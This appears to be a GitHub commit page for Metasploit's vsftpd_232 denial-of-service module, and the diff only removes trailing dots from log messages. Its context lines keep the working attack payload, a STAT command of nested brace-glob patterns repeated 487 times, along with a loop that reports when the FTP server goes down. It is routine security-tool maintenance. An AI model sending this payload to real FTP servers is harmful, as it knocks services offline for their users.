Skip to content

Commit 29e4565

Browse files
committed
vsftpd_232: Clean up trailing dot consistency
1 parent 85a223d commit 29e4565

1 file changed

Lines changed: 6 additions & 6 deletions

File tree

modules/auxiliary/dos/ftp/vsftpd_232.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -42,11 +42,11 @@ def check
4242
# attempt to connect
4343
begin
4444
if !connect_login
45-
print_error('Connection refused.')
45+
print_error('Connection refused')
4646
return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP')
4747
end
4848
rescue Rex::ConnectionRefused
49-
print_error('Connection refused.')
49+
print_error('Connection refused')
5050
return Exploit::CheckCode::Unknown('Connection refused by the target')
5151
rescue Rex::ConnectionTimeout
5252
print_error('Connection timed out')
@@ -61,7 +61,7 @@ def check
6161
disconnect
6262
# check if version was found
6363
if s !~ /vsFTPd \d+\.\d+\.\d+/
64-
print_error('Did not find FTP version in FTP session.')
64+
print_error('Did not find FTP version in FTP session')
6565
return Exploit::CheckCode::Unknown('Could not determine vsFTPd version')
6666
end
6767

@@ -75,7 +75,7 @@ def check
7575
end
7676

7777
def run
78-
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears
78+
fail_with(Failure::NotVulnerable, 'Target is not vulnerable') if check != Exploit::CheckCode::Appears
7979

8080
payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487
8181

@@ -98,11 +98,11 @@ def run
9898
print_error('Connection reset!')
9999
rescue Rex::ConnectionRefused
100100
print("\n")
101-
print_good('Connection refused! Appears DOS attack succeeded.')
101+
print_good('Connection refused! Appears DOS attack succeeded')
102102
break
103103
rescue EOFError
104104
print("\n")
105-
print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')
105+
print_good('Stream was cut off abruptly. Appears DOS attack succeeded')
106106
break
107107
end
108108
disconnect

0 commit comments

Comments
 (0)